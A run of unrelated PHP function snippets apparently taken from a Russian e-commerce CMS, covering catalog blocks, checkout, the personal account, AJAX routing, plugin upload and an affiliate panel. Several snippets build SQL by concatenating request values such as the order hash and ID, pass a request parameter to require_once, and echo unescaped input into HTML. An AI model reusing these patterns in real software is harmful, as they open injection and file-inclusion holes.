public function getGroupsData() { $model = new Models_Catalog(); $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); // Формируем список товаров для блока рекомендуемой продукции. $recommendProducts = $model->getListByUserFilter(MG::getSetting('countRecomProduct'), ' p.recommend = 1 and p.activity=1 ORDER BY sort ASC'); foreach ($recommendProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; // $item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); } // Формируем список товаров для блока новинок. $newProducts = $model->getListByUserFilter(MG::getSetting('countNewProduct'), ' p.new = 1 and p.activity=1 ORDER BY sort ASC'); foreach ($newProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; // $item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); } // Формируем список товаров со старой ценой. $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' p.old_price>0 and p.activity=1 ORDER BY sort ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; //$item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] * $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); } $html = MG::get('pages')->getPageByUrl('index'); $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); $data = array('recommendProducts' => $recommendProducts, 'newProducts' => $newProducts, 'saleProducts' => $saleProducts); return $data; }
/** * Возвращает HTML верстку сблока с фильтрами по каталогу товаров. * * @param array $submit флаг, для вывода кнопки отправки формы. * @return string - HTML верстка. */ public function getHtmlFilter($submit = false) { $html = ''; $lang = MG::get('lang'); $html .= '<div class="mg-filter-head">'; $html .= '<div class="filter-preview"><div class="loader-search"></div><span></span></div>'; foreach ($this->property as $name => $prop) { switch ($prop['type']) { case 'select': $html .= '<div class="wrapper-field"><div class="filter-select"><div class="select"><span class="label-field">' . $prop['label'] . ':</span><select name="' . $name . '" class="last-items-dropdown">'; foreach ($prop['option'] as $value => $text) { $selected = $prop['selected'] === $value . "" ? 'selected="selected"' : ''; $html .= '<option value="' . $value . '" ' . $selected . '>' . $text . '</option>'; } $html .= '</select></div>'; if ($name == 'cat_id') { $checked = ''; if ($_POST['insideCat']) { $checked = 'checked=checked'; } $html .= '<div class="checkbox">' . $lang['FILTR_PRICE7'] . '<input type="checkbox" name="insideCat" ' . $checked . ' /></div>'; } $html .= '</div></div>'; break; case 'beetwen': if ($prop['special'] == 'date') { $html .= ' <div class="wrapper-field"> <ul class="period-date"> <li><span class="label-field">' . $prop['label1'] . '</span> <input class="from-' . $prop['class'] . '" type="text" name="' . $name . '[]" value="' . date('d.m.Y', strtotime($prop['min'])) . '"></li> <li><span class="label-field">' . $prop['label2'] . '</span> <input class="to-' . $prop['class'] . '" type="text" name="' . $name . '[]" value="' . date('d.m.Y', strtotime($prop['max'])) . '"></li> </ul> </div> '; } else { $html .= '<div class="wrapper-field"> <div class="price-slider-wrapper"> <ul class="price-slider-list"> <li><span class="label-field">' . $prop['label1'] . '</span><input type="text" id="minCost" class="price-input start-' . $prop['class'] . ' price-input" data-fact-min="' . $prop['factMin'] . '" name="' . $name . '[]" value="' . $prop['min'] . '" /></li> <li><span class="label-field">' . $prop['label2'] . '</span><input type="text" id="maxCost" class="price-input end-' . $prop['class'] . ' price-input" data-fact-max="' . $prop['factMax'] . '" name="' . $name . '[]" value="' . $prop['max'] . '" /><span>' . MG::getSetting('currency') . '</span></li> </ul> <div class="clear"></div> <div id="price-slider"></div> </div> </div>'; } if (!empty($prop['special'])) { $html .= '<input type="hidden" name="' . $name . '[]" value="' . $prop['special'] . '" />'; } break; case 'hidden': $html .= ' <input type="hidden" name="' . $name . '" value="' . $prop['value'] . '" class="price-input"/>'; break; case 'text': if (!empty($prop['special'])) { $html .= '<div class="wrapper-field"><span class="label-field">' . $prop['label'] . ':</span> <input type="text" name="' . $name . '[]" value="' . $prop['value'] . '" class="price-input"/></div>'; $html .= '<input type="hidden" name="' . $name . '[]" value="' . $prop['special'] . '" />'; } else { $html .= '<div class="wrapper-field"><span class="label-field">' . $prop['label'] . ':</span> <input type="text" name="' . $name . '" value="' . $prop['value'] . '" class="price-input"/></div>'; } break; default: break; } } $html .= '</div>'; if (MG::get('controller') == 'controllers_catalog' || $_REQUEST['mguniqueurl'] == 'catalog.php') { $html .= '<div class="mg-filter-body">'; $html .= $this->getHtmlPropertyFilter(); $html .= '</div>'; } if (MG::get('controller') == 'controllers_users' || $_REQUEST['mguniqueurl'] == 'users.php') { $html .= '<div class="mg-filter-body">'; $html .= '</div>'; } $html .= '<div class="wrapper-field filter-buttons">'; if ($submit) { $html .= '<input type="submit" value="' . $lang['FILTR_PRICE8'] . '" class="filter-btn">'; $html .= '<a href="' . SITE . URL::getClearUri() . '" class="refreshFilter"><span>' . $lang['CLEAR'] . '</span></a>'; } else { $html .= '<a class="filter-now"><span>' . $lang['FILTR_PRICE8'] . '</span></a>'; $html .= '<a href="javascript:void(0);" class="refreshFilter"><span>' . $lang['CLEAR'] . '</span></a>'; } $html .= '</div>'; return '<form name="filter" class="filter-form" data-print-res="' . MG::getSetting('printFilterResult') . '">' . $html . '</form>'; }
function __construct() { $settings = MG::get('settings'); // Если нажата кнопка купить. $_REQUEST['category_id'] = URL::getQueryParametr('category_id'); if (!empty($_REQUEST['inCartProductId'])) { $cart = new Models_Cart(); $property = $cart->createProperty($_POST); $cart->addToCart($_REQUEST['inCartProductId'], $_REQUEST['amount_input'], $property); SmalCart::setCartData(); MG::redirect('/cart'); } $countСatalogProduct = $settings['countСatalogProduct']; // Показать первую страницу выбранного раздела. $page = 1; // Запрашиваемая страница. if (isset($_REQUEST['p'])) { $page = $_REQUEST['p']; } $model = new Models_Catalog(); // Получаем список вложенных категорий, для вывода всех продуктов, на страницах текущей категории. $model->categoryId = MG::get('category')->getCategoryList($_REQUEST['category_id']); // В конец списка, добавляем корневую текущую категорию. $model->categoryId[] = $_REQUEST['category_id']; // Передаем номер требуемой страницы, и количество выводимых объектов. $countСatalogProduct = 100; $actionButton = MG::getSetting('actionInCatalog') === "true" ? 'actionBuy' : 'actionView'; $dataGroupProducts = Storage::get(md5('dataGroupProductsIndexConroller')); $currencyRate = MG::getSetting('currencyRate'); $currencyShopIso = MG::getSetting('currencyShopIso'); $randomProdBlock = MG::getSetting('randomProdBlock') == "true" ? true : false; if ($dataGroupProducts == null) { // Формируем список товаров со старой ценой. $sort = $randomProdBlock ? "RAND()" : "sort"; $saleProducts = $model->getListByUserFilter(MG::getSetting('countSaleProduct'), ' (p.old_price>0 || pv.old_price>0) and p.activity=1 ORDER BY ' . $sort . ' ASC'); $recommendProducts = $model->getListByUserFilter(MG::getSetting('countRecomProduct'), ' p.recommend=1 ORDER BY ' . $sort . ' ASC'); $newProducts = $model->getListByUserFilter(MG::getSetting('countNewProduct'), ' p.new=1 ORDER BY ' . $sort . ' ASC'); foreach ($saleProducts['catalogItems'] as &$item) { $imagesUrl = explode("|", $item['image_url']); $item["image_url"] = ""; if (!empty($imagesUrl[0])) { $item["image_url"] = $imagesUrl[0]; } $item['currency_iso'] = $item['currency_iso'] ? $item['currency_iso'] : $currencyShopIso; //$item['price'] *= $currencyRate[$item['currency_iso']]; $item['old_price'] = $item['old_price'] ? MG::priceCourse($item['old_price']) : 0; $item['price'] = MG::priceCourse($item['price_course']); if ($printCompareButton != 'true') { $item['actionCompare'] = ''; } if ($actionButton == 'actionBuy' && $item['count'] == 0) { $item['actionBuy'] = $item['actionView']; } } $dataGroupProducts['recommendProducts'] = $recommendProducts; $dataGroupProducts['newProducts'] = $newProducts; $dataGroupProducts['saleProducts'] = $saleProducts; Storage::save(md5('dataGroupProductsIndexConroller'), $dataGroupProducts); } $recommendProducts = $dataGroupProducts['recommendProducts']; $newProducts = $dataGroupProducts['newProducts']; $saleProducts = $dataGroupProducts['saleProducts']; $html = MG::get('pages')->getPageByUrl('index'); if (!empty($html)) { $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']); } else { $html['html_content'] = ''; } $this->data = array('newProducts' => !empty($newProducts['catalogItems']) ? $newProducts['catalogItems'] : array(), 'recommendProducts' => !empty($recommendProducts['catalogItems']) ? $recommendProducts['catalogItems'] : array(), 'saleProducts' => !empty($saleProducts['catalogItems']) ? $saleProducts['catalogItems'] : array(), 'titeCategory' => $html['meta_title'], 'cat_desc' => $html['html_content'], 'meta_title' => $html['meta_title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'currency' => $settings['currency'], 'actionButton' => $actionButton); }
/** * Получает информацию о запрашиваемом товаре по его ID. * @param int $id id запрашиваемого товара. * @return array массив с данными о товаре. */ public function getProduct($id) { $result = array(); $res = DB::query(' SELECT CONCAT(c.parent_url,c.url) as category_url, p.url as product_url, p.*, rate, (p.price_course + p.price_course * (IFNULL(rate,0))) as `price_course`, p.`currency_iso` FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c ON c.id = p.cat_id WHERE p.id = ' . DB::quote($id, true)); if (!empty($res)) { if ($product = DB::fetchAssoc($res)) { $result = $product; // Запрос делает следующее // 1. Вычисляет список пользовательских характеристик для категории товара, // 2. Присваивает всем параметрам значания по умолчанию, // 3. Находит заполненные характеристики товара, заменяет ими значения по умолчанию. // В результате получаем набор всех пользовательских характеристик включая те, что небыли определены явно. $res = DB::query("\r\n SELECT pup.property_id, pup.value, pup.product_margin, pup.type_view, prop.*\r\n FROM `" . PREFIX . "product_user_property` as pup\r\n LEFT JOIN `" . PREFIX . "property` as prop\r\n ON pup.property_id = prop.id\r\n LEFT JOIN `" . PREFIX . "category_user_property` as cup \r\n ON cup.property_id = prop.id\r\n WHERE pup.`product_id` = " . DB::quote($id) . " AND cup.category_id = " . DB::quote($result['cat_id']) . "\r\n \r\n ORDER BY `sort` DESC;\r\n "); while ($userFields = DB::fetchAssoc($res)) { if (in_array($userFields['property_id'], MG::get('category')->getPropertyForCategoryById($product['cat_id']))) { // Заполняет каждый товар его характеристиками. $result['thisUserFields'][$userFields['property_id']] = $userFields; } } $imagesConctructions = $this->imagesConctruction($result['image_url'], $result['image_title'], $result['image_alt']); $result['images_product'] = $imagesConctructions['images_product']; $result['images_title'] = $imagesConctructions['images_title']; $result['images_alt'] = $imagesConctructions['images_alt']; $result['image_url'] = $imagesConctructions['image_url']; $result['image_title'] = $imagesConctructions['image_title']; $result['image_alt'] = $imagesConctructions['image_alt']; } } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }
private function gelLink($class, $numberPage, $type = "getQuery", $ancor = null) { $href = "href='javascript:void(0);'"; if ($type == "forAjax") { $href = "href='javascript:void(0);'"; } if ($type == "getQuery") { $uri = $_SERVER['REQUEST_URI']; if (MG::get('controller') == "controllers_catalog" && MG::getSetting('catalogIndex') == 'true' && (URL::isSection(null) || URL::isSection('index'))) { $uri = substr_count($uri, 'index') ? str_replace('/index', '/catalog', $uri) : str_replace('/', '/catalog', $uri); } $url = str_replace(array('[', ']'), array('[', ']'), URL::add_get($uri, $this->paramName, $numberPage)); $href = "href='" . $url . "'"; } $ancor = $ancor ? $ancor : $numberPage; return "<li><a class='" . $class . " page_" . $numberPage . "' " . $href . " >" . $ancor . "</a></li>"; }
function __construct() { // Модель для работы заказом. $model = new Models_Order(); // Печать заказа в квитанцию. if (isset($_POST['printQittance'])) { $model->printQittance(); } if ($orderId = URL::get('getOrderPdf')) { $model->getPdfOrder($orderId); } // Запрос электронных товаров $fileToOrder = null; if (isset($_REQUEST['getFileToOrder'])) { $electroInfo = $model->getFileToOrder($_REQUEST['getFileToOrder']); $orderInfo = $model->getOrder(' id = ' . DB::quote($_REQUEST['getFileToOrder'])); $orderNumber = $orderInfo[$_REQUEST['getFileToOrder']]['number']; if ($electroInfo === false) { $infoMsg = "Для просмотра страницы необходимо зайти на сайт под пользователем сделавшим заказ №" . $orderNumber; } if (is_array($electroInfo) && empty($electroInfo)) { $infoMsg = "Заказ не содержит электронных товаров или ожидает оплаты!"; } if (is_array($electroInfo) && !empty($electroInfo)) { $infoMsg = "Скачать электронные товары для заказа №" . $orderNumber . ""; } $fileToOrder = array('infoMsg' => $infoMsg, 'electroInfo' => $electroInfo); } // пришел запрос на скачивание электронного товара if (isset($_REQUEST['link'])) { $model->getFileByMd5($_REQUEST['link']); } // Первый экран - Оформление заказа. $step = 1; // Если пришли данные с формы оформления заказа. if (isset($_POST['toOrder'])) { if (empty($_SESSION['cart'])) { MG::redirect('/cart'); } // Если параметры введены корректно, то создается новый заказ. if ($error = $model->isValidData($_POST)) { $msg = $error; } else { // Второй экран - оплата заказа $step = 2; $orderArray = $model->addOrder(); $orderId = $orderArray['id']; $orderNumber = $orderArray['orderNumber']; $summ = $model->summ + $model->delivery_cost; $pay = $model->payment; $paramArray = $model->getParamArray($pay, $orderId, $summ); } } // Обработка действия при переходе по ссылке подтверждения заказа. if ($id = URL::getQueryParametr('id')) { $info = $this->confirmOrder($id); $msg = $info['msg']; $userEmail = $info['userEmail']; // Третий экран - подтверждение заказа по ссылке из письма. $step = 3; } // Обработка действия при переходе по ссылке получения информации о статусе заказа. if (URL::getQueryParametr('hash')) { $hash = URL::getQueryParametr('hash'); // Информация о заказе по переданному id. $orderInfo = $model->getOrder('`' . PREFIX . 'order`.hash = "' . $hash . '"'); $id = key($orderInfo); if ($orderInfo) { if (USER::getUserInfoByEmail($orderInfo[$id]['user_email'])) { $msg = 'Посмотреть статус заказа Вы можете в <a href="' . SITE . '/personal">личном кабинете</a>.'; } else { $lang = MG::get('lang'); $orderNumber = $orderInfo[$id]['number']; $orderId = $id; $status = $model->getOrderStatus($orderInfo[$id]['status_id']); $orderInfo[$id]['string_status_id'] = $lang[$status]; $paymentArray = $model->getPaymentMethod($orderInfo[$id]['payment_id']); $orderInfo[$id]['paymentName'] = $paymentArray['name']; $msg = ''; } } else { $msg = 'Некорректная ссылка.<br> Заказ не найден<br>'; } // пятый экран - инфо о статусе заказа $step = 5; } // Запрос оплаты из ЛК. if (URL::getQueryParametr('pay')) { // Четвертый экран - Запрос оплаты из ЛК. $step = 4; $pay = URL::getQueryParametr('paymentId'); $orderId = URL::getQueryParametr('orderID'); $order = $model->getOrder(' id = ' . DB::quote($orderId, true)); $summ = URL::getQueryParametr('orderSumm'); $summ = $order[$orderId]['summ'] * 1 + $order[$orderId]['delivery_cost'] * 1; $paramArray = $model->getParamArray($pay, $orderId, $summ); } // Если пользователь авторизован, то заполняем форму личными даными. if (User::isAuth()) { $userInfo = User::getThis(); $_POST['email'] = $_POST['email'] ? $_POST['email'] : $userInfo->email; $_POST['phone'] = $_POST['phone'] ? $_POST['phone'] : $userInfo->phone; $_POST['fio'] = $_POST['fio'] ? $_POST['fio'] : $userInfo->name . ' ' . $userInfo->sname; $_POST['address'] = $_POST['address'] ? $_POST['address'] : $userInfo->address; if ($userInfo->inn) { $_POST['customer'] = 'yur'; } $_POST['yur_info']['adress'] = $userInfo->adress; $_POST['yur_info']['inn'] = $userInfo->inn; $_POST['yur_info']['kpp'] = $userInfo->kpp; $_POST['yur_info']['bank'] = $userInfo->bank; $_POST['yur_info']['bik'] = $userInfo->bik; $_POST['yur_info']['ks'] = $userInfo->ks; $_POST['yur_info']['rs'] = $userInfo->rs; } // Обработка ajax запроса из шаблона. if ('getPaymentByDeliveryId' == URL::getQueryParametr('action')) { $this->getPaymentByDeliveryId(); } // Обработка ajax запроса из шаблона. if ('getEssentialElements' == URL::getQueryParametr('action')) { $this->getEssentialElements(); } $this->includeIconsPack(); // Массив способов доставки. $deliveryArray = $this->getDelivery(); // Массив способов оплаты. $deliveryCount = count($deliveryArray); // если из доступных способов доставки - только один, то сразу находим для него способы оплаты if ($deliveryCount === 1) { $keyDev = array_keys($deliveryArray); $_POST['delivery'] = $deliveryArray[$keyDev[0]]['id']; } $paymentTable = $this->getPaymentByDeliveryId($_POST['delivery'], $_POST['customer'], true, $deliveryCount); // если доставка не предусмотрена, то выводим все доступные активные метода оплаты if ($deliveryCount === 0) { $paymentTable = ''; foreach ($this->getPayment() as $payment) { $delivArray = json_decode($payment['deliveryMethod'], true); if ($_POST['customer'] == "yur" && $payment['id'] != "7") { continue; } $paymentTable .= ' <li class="noneactive"> <label> <input type="radio" name="payment" rel value=' . $payment['id'] . '>' . $payment['name'] . '</label> <span class="icon-payment-' . $payment['id'] . '"></span> </li>'; } } $cart = new Models_Cart(); $summOrder = $cart->getTotalSumm(); $summOrder = MG::numberFormat($summOrder); if ($step != 5) { $orderInfo = $model->getOrder('`' . PREFIX . 'order`.id = "' . $orderId . '"'); } $userInfo = USER::getUserInfoByEmail($orderInfo[$orderId]['user_email']); $settings = MG::get('settings'); $orderNumber = $orderInfo[$orderId]['number'] != '' ? $orderInfo[$orderId]['number'] : $orderId; $linkToStatus = $orderInfo[$orderId]['hash'] ? $orderInfo[$orderId]['hash'] : ''; // Массив параметров для отображения в представлении. $this->data = array('active' => !empty($userEmail) ? $userEmail : '', 'msg' => !empty($msg) ? $msg : '', 'step' => !empty($step) ? $step : '', 'delivery' => !empty($deliveryArray) ? $deliveryArray : '', 'paymentArray' => !empty($paymentTable) ? $paymentTable : '', 'paramArray' => !empty($paramArray) ? $paramArray : '', 'id' => !empty($orderId) ? $orderId : '', 'orderNumber' => !empty($orderNumber) ? $orderNumber : $orderId, 'summ' => !empty($summ) ? $summ : '', 'pay' => !empty($pay) ? $pay : '', 'payMentView' => $this->getPaymentView($pay), 'currency' => $settings['currency'], 'userInfo' => $userInfo, 'orderInfo' => $orderInfo, 'fileToOrder' => $fileToOrder, 'meta_title' => 'Оформление заказа', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,заявки,оформить,оформление заказа", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "Оформление заказа происходит в несколько этапов. 1 - ввод личных данных покупателя, 2 - оплата заказа.", 'summOrder' => !empty($summOrder) ? $summOrder . ' ' . MG::getSetting('currency') : '', 'captcha' => CAPTCHA_ORDER == '1' ? true : false, 'linkToStatus' => $linkToStatus); }
/** * Упорядочивает всё дерево категорий по алфавиту * @return boolean */ public function sortToAlphabet() { MG::get('category')->sortToAlphabet(); return true; }
function __construct() { $lang = MG::get('lang'); $settings = MG::get('settings'); $this->lang = $lang; $status = 0; if (User::isAuth()) { $order = new Models_Order(); $status = 3; //обработка запроса на изменение данных пользователя if (URL::getQueryParametr('userData')) { $customer = URL::getQueryParametr('customer'); $userData = array('name' => URL::getQueryParametr('name'), 'sname' => URL::getQueryParametr('sname'), 'address' => URL::getQueryParametr('address'), 'phone' => URL::getQueryParametr('phone'), 'nameyur' => $customer == 'yur' ? URL::getQueryParametr('nameyur') : '', 'adress' => $customer == 'yur' ? URL::getQueryParametr('adress') : '', 'inn' => $customer == 'yur' ? URL::getQueryParametr('inn') : '', 'kpp' => $customer == 'yur' ? URL::getQueryParametr('kpp') : '', 'bank' => $customer == 'yur' ? URL::getQueryParametr('bank') : '', 'bik' => $customer == 'yur' ? URL::getQueryParametr('bik') : '', 'ks' => $customer == 'yur' ? URL::getQueryParametr('ks') : '', 'rs' => $customer == 'yur' ? URL::getQueryParametr('rs') : ''); if (USER::update(User::getThis()->id, $userData)) { $message = 'Данные успешно сохранены'; } else { $error = 'Не удалось сохранить данные ' . $this->_newUserData['sname']; } } // Обработка запроса на изменения пароля. if (URL::getQueryParametr('chengePass')) { if (USER::auth(User::getThis()->email, URL::getQueryParametr('pass'))) { $person = new Models_Personal(); $message = $person->changePass(URL::getQueryParametr('newPass'), User::getThis()->id); } else { $error = 'Неверный пароль'; } } // Обработка запроса на изменения способа оплаты. if (URL::getQueryParametr('changePaymentId')) { $order = new Models_Order(); $status = $order->updateOrder(array('payment_id' => $_POST['changePaymentId'], 'id' => $_POST['orderId'])); $result = array('status' => $status, 'comment' => 2, 'orderStatus' => 3); echo json_encode($result); MG::disableTemplate(); exit; } // Обработка AJAX запроса на закрытие заказа. if (URL::getQueryParametr('delOK')) { $comment = 'Отменено покупателем, по причине <br>"' . URL::getQueryParametr('comment') . '"'; // Пересчитываем остатки продуктов из заказа. $orderModel = new Models_Order(); $orderModel->refreshCountProducts(URL::getQueryParametr('delID'), 4); $res = DB::query(' UPDATE `' . PREFIX . 'order` SET close_date = now(), status_id = 4, comment = "%s" WHERE id = %d AND user_email = "%s"', $comment, URL::getQueryParametr('delID'), User::getThis()->email); if ($res) { $status = true; } if ($comment) { $comm = "<b>Комментарий: " . $comment . "</b>"; } $result = array('status' => $status, 'comment' => $comm, 'orderStatus' => $lang[$order->getOrderStatus(array('status_id' => 4))]); $orderModel->sendMailOfUpdateOrder(URL::getQueryParametr('delID')); echo json_encode($result); MG::disableTemplate(); exit; } // Отображение данных пользователя. $orderArray = $order->getOrder('user_email = "' . User::getThis()->email . '"', TRUE); if (is_array($orderArray)) { foreach ($orderArray as $orderId => $orderItems) { $orderArray[$orderId]['string_status_id'] = $order->getOrderStatus($orderItems); $paymentArray = $order->getPaymentMethod($orderItems['payment_id']); $orderArray[$orderId]['name'] = $paymentArray['name']; $orderArray[$orderId]['paided'] = $order->getPaidedStatus($orderItems); } } if (!User::getThis()->activity) { $status = 2; unset($_SESSION['user']); } if (User::getThis()->blocked) { $status = 1; unset($_SESSION['user']); } $paymentList = $order->getPaymentBlocksMethod(); } else { MG::redirect('/enter'); } $this->data = array('error' => !empty($error) ? $error : '', 'message' => !empty($message) ? $message : '', 'status' => !empty($status) ? $status : '', 'userInfo' => User::getThis(), 'orderInfo' => !empty($orderArray) ? $orderArray : '', 'currency' => $settings['currency'], 'paymentList' => $paymentList, 'meta_title' => 'Личный кабинет', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,личные данные, личный кабинет", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В личном кабинете нашего сайта вы сможете отслеживать состояние заказов и менять свои данные"); }
function __construct() { // Не существует обработки для прямого обращения. if (empty($_REQUEST)) { header('HTTP/1.0 404 Not Found'); exit; } // Отключаем вывод темы. MG::disableTemplate(); $actioner = URL::getQueryParametr('actionerClass'); if ('Ajaxuser' == $actioner) { $this->routeUserAction(URL::getQueryParametr('action')); } // Если этот аякс запрос направлен на выполнение // действия с БД, то пытаемся их выполнить. // Иначе подключается контролер из админки. $url = URL::getQueryParametr('mguniqueurl'); $type = URL::getQueryParametr('mguniquetype'); // Менеджерам запрещено работать с разделами. if (USER::getThis()->role == 3) { $accessDenied = array('category.php', 'page.php', 'catalog.php', 'users.php', 'settings.php', 'statistics.php'); if (in_array($url, $accessDenied)) { exit; } } // Модераторам запрещено работать с разделами. if (USER::getThis()->role == 4) { $accessDenied = array('settings.php', 'statistics.php'); if (in_array($url, $accessDenied)) { exit; } } // Незарегистрированным пользователям и клиентам запрещено работать с разделами. if (USER::getThis()->role == 2 || empty(USER::getThis()->role)) { exit; } // Если передана переменная $pluginFolder, то вся обработка // происходит в плагине из этой папки. $pluginHandler = URL::getQueryParametr('pluginHandler'); if (empty($pluginHandler)) { if (!$this->routeAction($url)) { if ('plugin' == $type) { if (!empty($_POST['request'])) { $_POST = $_POST['request']; } URL::setQueryParametr('view', ADMIN_DIR . 'section/views/plugintemplate.php'); } else { require_once ADMIN_DIR . 'section/controlers/' . $url; $this->lang = MG::get('lang'); URL::setQueryParametr('view', ADMIN_DIR . 'section/views/' . $url); } } } else { // Обработкой действия займется плагин, папка которого передана в $pluginHandler. $actioner = URL::getQueryParametr('actionerClass'); if (empty($actioner)) { // Если обработчик задан в параметре mguniqueurl , // то назначаем стандартный класс обработки, // который должен быть в каждом плагине. $actioner = 'Pactioner'; $this->routeAction($url, $pluginHandler, $actioner); } else { // Если задан уникальный обработчик, то // запускаем маршрутизатор действий. $this->routeAction($url, $pluginHandler, $actioner); } } }
/** * Отправляет сообщение о смене статуса заказа, его владельцу. * @param int $id = номер заказа * @param int $statusId = новый статус */ public function sendStatusToEmail($id, $statusId) { $order = $this->getOrder('id = ' . $id); $lang = MG::get('lang'); $statusArray = self::$status; $statusName = $lang[$statusArray[$statusId]]; $statusOldName = $lang[$statusArray[$order[$id]['status_id']]]; $paramToMail = array('orderInfo' => $order[$id], 'statusId' => $statusId, 'statusName' => $statusName, 'statusOldName' => $statusOldName); if ($statusName !== $statusOldName) { $emailToUser = MG::layoutManager('email_order_status', $paramToMail); Mailer::addHeaders(array("Reply-to" => MG::getSetting('noReplyEmail'))); Mailer::sendMimeMail(array('nameFrom' => MG::getSetting('noReplyEmail'), 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => $order[$id]['user_email'], 'emailTo' => $order[$id]['user_email'], 'subject' => "Заказ №" . $order[$id]['number'] . " " . $statusName, 'body' => $emailToUser, 'html' => true)); } else { return false; } }
/** * Метод валидации загружаемого плагина. * * @param array $file_array - массив данных загружаемого плагина * @return array данные о загрузке, * 'data' => если имеется имя загруженного плагина 'msg' => статус(сообщение) загрузки */ public static function downloadPlugin($file_array) { //имя плагина $name = $file_array['name']; //его размер $size = $file_array['size']; //временная папка архива плагина $path = self::$_pluginsPath; //поддерживаемые форматы $validFormats = array('zip'); $_lang = MG::get('lang'); if (strlen($name)) { $fullName = explode('.', $name); $ext = array_pop($fullName); $name = implode('.', $fullName); if (in_array($ext, $validFormats)) { if ($size < 1024 * 1024) { $actualName = $name . '.' . $ext; $tmp = $file_array['tmp_name']; if (move_uploaded_file($tmp, $path . $actualName)) { $data = $path . $actualName; $msg = $_lang['PLUG_UPLOAD']; } else { $msg = $_lang['PLUG_UPLOAD_ERR']; } } else { $msg = $_lang['PLUG_UPLOAD_ERR2']; } } else { $msg = $_lang['PLUG_UPLOAD_ERR3']; } } else { $msg = $_lang['PLUG_UPLOAD_ERR4']; } return array('data' => $data, 'msg' => $msg); }
/** * Возвращает html код фильтров магазина. * Работает только для разделов каталога. * @param $userStyle - отключает стандартные стили, позволяете задать пользовательские; */ function filterCatalog($userStyle = false) { if (!$userStyle) { if (MG::get('controller') == 'controllers_catalog') { mgAddMeta('<link type="text/css" href="' . SCRIPT . 'standard/css/jquery.ui.slider.css" rel="stylesheet"/>'); mgAddMeta('<link type="text/css" href="' . SCRIPT . 'standard/css/filter.css" rel="stylesheet"/>'); mgAddMeta('<script type="text/javascript" src="' . SCRIPT . 'standard/js/filter.js"></script>'); } } echo MG::get('catalogfilter'); }
<?php echo $data['blockVariants']; echo $data['addHtml']; ?> <div class="buy-container <?php echo MG::get('controller') == 'controllers_product' ? 'product' : ''; ?> " <?php if (MG::get('controller') == 'controllers_product') { echo $data['maxCount'] == "0" ? 'style="display:none"' : ''; } ?> > <?php if (!$data['noneAmount']) { ?> <div class="hidder-element" <?php echo $data['maxCount'] == "0" ? 'style="display:none"' : ''; ?> > <p class="qty-text">Количество:</p> <div class="cart_form"> <input type="text" name="amount_input" class="amount_input" data-max-count="<?php echo $data['maxCount']; ?> " value="1" /> <div class="amount_change"> <a href="#" class="up">+</a> <a href="#" class="down">-</a>
static function affiliatePanel() { $id = USER::getThis()->id; if (!$id) { return 'Пожалуйста, <a href="' . SITE . '/registration">зарегистрируйтесь</a>, чтобы принять участие в партнерской программе ' . MG::get('sitename') . ' и получать ' . self::$percent . '% от стоимости заказов ваших друзей и знакомых.'; } $parnterLink = false; $result = DB::query(' SELECT * FROM `' . PREFIX . 'partner` WHERE `user_id` = ' . DB::quote($id)); if ($row = DB::fetchAssoc($result)) { $parnterLink = SITE . "?partnerId=" . $row['id']; } if ($parnterLink) { return '<div class="accostPartner"><p>Уважаемый, партнер! Ваша реферальная ссылка: <span>' . $parnterLink . '</span></p><p>Передайте ее друзьям и знакомым и вы получите ' . self::$percent . '% от стоимости их заказа.</p></div>'; } else { $html = ' <script> function newPartner(){ $.ajax({ type: "POST", url: "ajax", data: { pluginHandler: "partners-program", actionerClass: "Partner", action: "becomePartner" }, dataType: "json", cache: false, success: function(response){ location="' . SITE . '/affiliate" ; } }); } </script> Здравствуйте, ' . USER::getThis()->name . ' ' . USER::getThis()->sname . ' мы предлагаем Вам стать нашим партнером и получать ' . self::$percent . '% от всех заказов привлеченных вами клентов. <a href="#" class="becomePartner" onclick="newPartner(); return false;">Получить реферальную сылку</a> '; return $html; } }
